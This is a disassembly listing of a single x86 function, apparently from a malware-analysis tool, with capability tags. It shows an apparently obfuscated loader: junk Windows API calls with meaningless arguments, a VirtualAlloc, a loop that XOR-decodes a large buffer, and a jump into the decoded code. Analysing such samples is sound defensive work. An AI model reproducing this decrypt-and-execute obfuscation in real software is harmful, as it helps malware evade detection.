Function at 0x414d11
Capabilities:
Clear file content
Encode data using xor
Get common file path
Terminate process

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x24]
push ebx
mov dword [0x8b0694], eax
push ebp
xor ebp, ebp
mov dword [esp + 0x2c], ebp
mov dword [esp + 0xc], 0x93d
mov dword [esp + 0x14], 0xe9a
mov dword [esp + 0x18], 0x2dd
mov dword [esp + 8], ebp
push esi
mov dword [esp + 0x14], ebp
mov eax, dword [esp + 0x1c]
push edi
add eax, 0x660
push 4
pop edx
cmp dword [esp + 0x10], eax
jge 0x414f61
mov eax, dword [esp + 0x34]
xor eax, 0xd4a
cmp dword [esp + 0x18], eax
jg 0x414ebb
xor dword [esp + 0x34], 0xe9a
xor ecx, ecx
mov eax, dword [0x8b055c]
inc ecx
mov dword [0x8b0568], 0x14
mov dword [0x8b056c], edx
mov dword [0x8b057c], 0x12
mov dword [eax + 0x20], ebp
mov eax, dword [0x8b055c]
mov dword [0x8b0594], ecx
mov dword [0x8b05a8], ecx
mov dword [0x8b05a4], 3
mov dword [eax + 0x5c], ebp
mov eax, dword [0x8b055c]
mov dword [0x8b05c8], edx
mov dword [0x8b05d0], ecx
mov dword [0x8b05dc], ecx
mov dword [0x8b05d8], ebp
mov dword [eax + 0x90], ecx
mov eax, dword [0x8b055c]
mov dword [0x8b05f8], 0x3c
mov dword [0x8b0600], ebp
mov dword [eax + 0xac], 0x48
mov eax, dword [0x8b055c]
mov dword [0x8b0638], ecx
mov dword [0x8b0624], ebp
mov dword [eax + 0xdc], 0x37
mov eax, dword [0x8b055c]
mov dword [eax + 0xe0], ebp
mov eax, dword [0x8b055c]
mov dword [0x8b0648], ebp
mov dword [0x8b0654], ecx
mov dword [0x8b065c], ebp
mov dword [0x8b0668], 0x18
mov dword [0x8b066c], ebp
mov dword [eax + 0x110], 0x30
mov eax, dword [0x8b055c]
mov dword [eax + 0x114], 0x1d
mov dword [0x8b0678], ecx
mov dword [0x8b0684], ecx
mov dword [0x8b0680], ebp
add dword [esp + 0x34], 0xfffffe27
mov eax, dword [0x8b055c]
mov ecx, dword [eax + 0x90]
mov eax, dword [0x8b05c8]
add eax, 0x6121
add eax, ecx
mov ecx, dword [0x8b0674]
xor ecx, dword [0x8b0654]
mov dword [0x8b05c8], eax
mov eax, dword [0x8b0648]
add eax, 0x146d6a
add eax, ecx
mov dword [0x8b0648], eax
jmp 0x414f61
mov ebx, dword [esp + 0x34]
jmp 0x414f49
mov eax, dword [esp + 0x10]
or eax, dword [0x8b0620]
add eax, 0x894
cmp dword [esp + 0x34], eax
jae 0x414f46
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x1c]
and ecx, eax
mov eax, dword [0x8b055c]
mov esi, dword [esp + 0x18]
mov edx, dword [esp + 0x18]
xor esi, dword [0x8b05a0]
xor edx, 0x2dd
sub ecx, dword [eax + 0xc]
mov eax, dword [esp + 0x18]
xor dword [0x8b0644], ecx
mov ecx, dword [esp + 0x14]
mov edi, dword [0x8b0664]
sub ecx, eax
mov eax, dword [esp + 0x20]
xor ecx, dword [0x8b0678]
xor eax, 0x874
xor esi, dword [0x8b0670]
or edi, dword [0x8b0648]
push eax
push ecx
push edx
push 0x8b0560
push esi
push edi
call fcn.0040763c
add esp, 0x18
mov dword [esp + 0x14], eax
add ebx, 2
mov ecx, dword [0x8b055c]
mov eax, dword [esp + 0x18]
and eax, dword [ecx + 0x110]
cmp ebx, eax
jb 0x414ec4
mov eax, dword [esp + 0x14]
xor eax, 0x1e08
cmp dword [esp + 0x18], eax
je 0x414fb5
mov ecx, dword [0x8b055c]
mov eax, dword [0x8b0568]
add eax, 0x18c92b
or dword [ecx + 0x7c], eax
cmp dword [0x8b05f0], 0xbb96
ja 0x414fa1
mov eax, dword [0x8b0638]
add eax, 0xfb701
add dword [0x8b056c], eax
jmp 0x414fb5
mov ecx, dword [0x8b0654]
mov eax, dword [0x8b055c]
add ecx, 0xfccd
mov dword [eax + 8], ecx
mov eax, dword [0x8b0594]
add eax, 0x13ffc9
add eax, dword [0x8b05d8]
mov dword [0x8b05a4], eax
add dword [esp + 0x34], 0x9e2
mov eax, dword [0x8b05c8]
mov edx, dword [0x8b055c]
cmp eax, dword [0x8b056c]
jae 0x414ff9
mov ecx, dword [edx + 0x98]
add ecx, 0x1388a3
mov dword [0x8b0684], ecx
jmp 0x415004
mov ecx, dword [0x8b0684]
mov dword [0x8b0580], eax
mov eax, 0xffe6f1b3
sub eax, dword [edx + 0x10c]
add dword [0x8b05f8], eax
cmp dword [0x8b063c], ecx
jb 0x415029
xor dword [0x8b0638], 0x2b041
jmp 0x415036
mov eax, dword [0x8b0654]
add eax, 0x4c
mov dword [0x8b0650], eax
add dword [esp + 0x10], 0xe9a
mov eax, dword [esp + 0x18]
xor eax, 0x894
cmp dword [esp + 0x10], eax
jl 0x41567b
mov eax, dword [esp + 0x1c]
xor eax, 0x91e
cmp dword [esp + 0x14], eax
jl 0x4155f5
mov eax, dword [esp + 0x18]
xor eax, 0xcc1
cmp dword [esp + 0x1c], eax
jle 0x415490
mov eax, dword [esp + 0x18]
add eax, 0x16a3
cmp dword [esp + 0x10], eax
je 0x41533e
mov edi, dword [esp + 0x1c]
mov esi, dword [esp + 0x20]
sub edi, 0x55d
mov edx, dword [esp + 0x10]
add esi, 0xa6d
mov eax, dword [esp + 0x34]
sub edx, 0xbbd
mov ecx, dword [0x8b055c]
sub eax, 0xeef
push eax
push ecx
push edx
push esi
push edi
call fcn.00413e8d
mov ecx, dword [0x8b05a4]
add esp, 0x14
mov esi, dword [0x8b055c]
mov edx, dword [0x8b05ac]
mov dword [esp + 0x14], eax
cmp ecx, dword [0x8b0640]
jae 0x4150f2
mov eax, dword [esi + 8]
xor eax, dword [0x8b05dc]
mov dword [0x8b0600], eax
jmp 0x415102
mov eax, dword [esi + 0x78]
xor eax, dword [0x8b0594]
xor eax, 0xdd4
sub edx, eax
mov eax, 0x13d5cb
sub eax, ecx
mov ecx, dword [0x8b0648]
xor ecx, dword [0x8b0680]
add edx, eax
mov eax, 0xb41e3
sub eax, ecx
mov ecx, dword [0x8b0580]
add edx, eax
xor edx, 0xc167f
mov dword [0x8b05ac], edx
cmp ecx, 0xd2e7
jae 0x41514f
mov eax, dword [0x8b05f8]
add eax, 0x30fa87
add dword [esi + 0x4c], eax
mov edx, dword [0x8b05ac]
jmp 0x415162
mov eax, dword [0x8b0638]
add eax, ecx
xor eax, dword [0x8b066c]
sub dword [0x8b0624], eax
mov eax, dword [0x8b0684]
mov ecx, dword [0x8b05f8]
add eax, 0xffec7761
push eax
add ecx, 0x193e11
push ecx
push edx
push ebp
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, dword [0x8b055c]
mov ecx, dword [0x8b060c]
lea edx, [eax + 0x4800]
mov dword [0x8b062c], edx
cmp ecx, dword [esi + 0x70]
jb 0x4151b4
mov eax, dword [0x8b0654]
add eax, 0x194be1
add eax, dword [0x8b063c]
mov dword [0x8b05e4], eax
mov eax, dword [esi + 0xac]
cmp eax, dword [0x8b05c8]
mov ecx, dword [0x8b0618]
mov eax, dword [0x8b0648]
cmovne ecx, edx
add eax, 0xfff4d876
mov dword [0x8b0618], ecx
mov dword [0x8b067c], eax
mov eax, dword [0x8b0668]
add eax, 0xdc7c46be
mov dword [0x8b05e0], eax
add dword [esp + 0x1c], 0xfffff8b4
add dword [esp + 0x14], 0x75f
add dword [esp + 0x10], 0xfffff74d
mov ebx, dword [esp + 0x1c]
mov edi, dword [esp + 0x1c]
add ebx, 0x94e
mov edx, dword [esp + 0x34]
xor edi, 0x2a9
mov ecx, dword [esp + 0x14]
sub edx, 0x385
mov eax, dword [esp + 0x20]
sub ecx, 0x808
mov esi, dword [0x8b055c]
add eax, 0x30a
push eax
push ecx
push edx
push esi
push edi
push ebx
call fcn.0040763c
add esp, 0x18
mov dword [esp + 0x14], eax
mov dword [0x8b0660], 0x8b0560
mov eax, dword [0x8b066c]
sub dword [0x8b05a4], eax
mov ecx, dword [0x8b055c]
mov eax, dword [0x8b05f8]
add eax, 0x190e11
push 0x12
xor dword [ecx + 0x1c], eax
mov eax, dword [0x8b055c]
mov ecx, dword [eax + 0x20]
xor ecx, dword [0x8b057c]
pop eax
sub eax, ecx
mov ecx, dword [0x8b062c]
add dword [0x8b063c], eax
mov eax, dword [0x8b0640]
inc eax
imul eax, dword [0x8b0684]
mov dword [0x8b0684], eax
mov eax, dword [0x8b0604]
xor dword [ecx + ebp], eax
add ebp, 4
mov eax, dword [0x8b057c]
xor eax, dword [0x8b05dc]
mov ecx, dword [0x8b055c]
xor eax, 0x18c92d
or dword [ecx + 0x90], eax
mov ecx, dword [0x8b055c]
mov eax, dword [0x8b05dc]
add eax, 0xffe736c2
imul eax, dword [ecx + 0x1c]
mov dword [ecx + 0x1c], eax
mov eax, dword [0x8b0630]
add dword [0x8b0604], eax
cmp ebp, 0x16df8c
jl 0x415258
mov eax, dword [0x8b0670]
cmp eax, dword [0x8b0684]
mov edx, dword [0x8b0610]
cmovbe edx, dword [0x8b062c]
push dword [0x8b0694]
mov eax, dword [0x8b067c]
add eax, dword [0x8b0618]
push eax
push dword [0x8b0660]
mov dword [0x8b0610], edx
call edx
mov dword [0x8b0650], eax
jmp 0x41567b
mov edx, dword [esp + 0x34]
jmp 0x41546b
mov eax, dword [esp + 0x1c]
xor eax, dword [0x8b05ec]
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov ebp, dword [esp + 0x1c]
mov ebx, dword [esp + 0x14]
or ebp, 0x1735
mov eax, dword [esp + 0x10]
and ebx, 0x2dd
mov ecx, dword [0x8b05d8]
mov esi, dword [esp + 0x18]
sub ecx, eax
mov eax, dword [0x8b055c]
mov edx, dword [esp + 0x18]
imul edi, ecx, 0x109c
or edx, 0xcc1
mov ecx, dword [0x8b05f8]
sub esi, dword [eax + 0x118]
mov eax, dword [esp + 0x1c]
or eax, dword [esp + 0x14]
xor ecx, dword [0x8b063c]
push eax
push ecx
push edx
push esi
push edi
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edx, dword [esp + 0x34]
mov ecx, 0xffffece2
mov eax, dword [esp + 0x34]
sub edx, 0xd4a
mov edi, dword [0x8b05fc]
sub ecx, eax
mov eax, dword [esp + 0x18]
mov esi, dword [0x8b0648]
add eax, ecx
imul edi, dword [0x8b0680]
or esi, 0xcc1
and esi, dword [0x8b05dc]
push eax
push edx
push esi
push edi
push 0x8b0560
call fcn.00414707
mov dword [esp + 0x28], eax
add esp, 0x14
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x20]
xor eax, dword [0x8b058c]
sub eax, dword [0x8b05d8]
or ecx, dword [0x8b05a4]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x34]
or ecx, eax
mov esi, dword [esp + 0x14]
mov eax, dword [esp + 0x34]
and esi, ecx
mov ecx, dword [0x8b055c]
and eax, dword [ecx + 0xfc]
mov edx, dword [ecx + 0x10c]
sub eax, dword [0x8b05dc]
or edx, dword [0x8b0600]
push eax
push edx
push esi
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
mov edx, dword [esp + 0x24]
add edx, 4
mov eax, dword [0x8b055c]
mov dword [esp + 0x24], edx
mov ecx, dword [eax + 0x40]
sub ecx, dword [0x8b0668]
xor ecx, dword [eax + 0xe4]
cmp edx, ecx
je 0x415347
jmp 0x41567b
mov eax, dword [0x8b055c]
mov eax, dword [eax + 0x12c]
xor eax, dword [0x8b05f8]
cmp dword [esp + 0x34], eax
jne 0x41551a
mov edx, dword [esp + 0x10]
or edx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x1c]
or edx, 0x2dd
imul ecx, dword [0x8b0670]
mov eax, dword [0x8b0680]
or eax, dword [0x8b063c]
push eax
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
mov edi, dword [esp + 0x20]
imul edi, dword [esp + 0x20]
mov esi, dword [esp + 0x14]
xor esi, dword [esp + 0x34]
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
xor edx, eax
mov eax, dword [esp + 0x18]
sub edx, eax
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x18]
and ecx, dword [0x8b0670]
sub ecx, eax
mov eax, dword [esp + 0x18]
xor eax, dword [0x8b0578]
push eax
push ecx
push edx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ebx, dword [esp + 0x34]
jmp 0x4155d7
mov edx, dword [esp + 0x20]
mov ecx, dword [0x8b055c]
mov esi, dword [0x8b0670]
and edx, dword [0x8b0674]
sub esi, dword [0x8b064c]
mov eax, dword [ecx + 0x10]
imul eax, dword [0x8b0598]
or edx, dword [0x8b0680]
xor esi, dword [0x8b0640]
push eax
mov eax, dword [ecx + 0xfc]
sub eax, dword [0x8b0608]
imul eax, eax, 0x874
push eax
push edx
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
mov esi, dword [esp + 0x1c]
mov edx, dword [esp + 0x18]
mov eax, dword [0x8b055c]
mov ecx, dword [esp + 0x34]
xor ecx, dword [esp + 0x34]
sub edx, dword [0x8b056c]
add esi, dword [eax + 0xfc]
mov eax, dword [esp + 0x20]
and edx, dword [0x8b0654]
or eax, 0x93c
mov edi, dword [0x8b0684]
or edi, dword [0x8b056c]
push eax
push ecx
push edx
push 0x8b0560
push esi
push edi
call fcn.0040763c
mov dword [esp + 0x28], eax
add esp, 0x18
mov eax, dword [0x8b065c]
add eax, 0xfffff166
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add ebx, 4
mov eax, dword [esp + 0x10]
mov ecx, 0x1735
sub ecx, eax
mov eax, dword [esp + 0x10]
add eax, ecx
cmp ebx, eax
jg 0x415523
jmp 0x41567b
mov eax, dword [0x8b05d8]
and eax, dword [0x8b0684]
or dword [esp + 0x1c], eax
mov ecx, dword [esp + 0x14]
mov eax, dword [0x8b055c]
xor ecx, 0x874
mov eax, dword [eax + 0xf8]
imul eax, ecx
or dword [esp + 0x20], eax
mov eax, dword [esp + 0x14]
or eax, 0xadd
xor dword [0x8b0678], eax
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x20]
sub ecx, eax
mov eax, dword [esp + 0x20]
or eax, ecx
or eax, dword [0x8b0574]
mov dword [esp + 0x20], eax
mov eax, dword [0x8b055c]
mov edx, dword [esp + 0x34]
mov ecx, dword [esp + 0x10]
sub ecx, 0xe9a
add edx, dword [eax + 0xd8]
or ecx, 0xd4a
mov eax, dword [esp + 0x18]
xor eax, dword [0x8b063c]
push eax
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push dword [0x8b0650]
call dword [sym.imp.KERNEL32.dll_ExitProcess]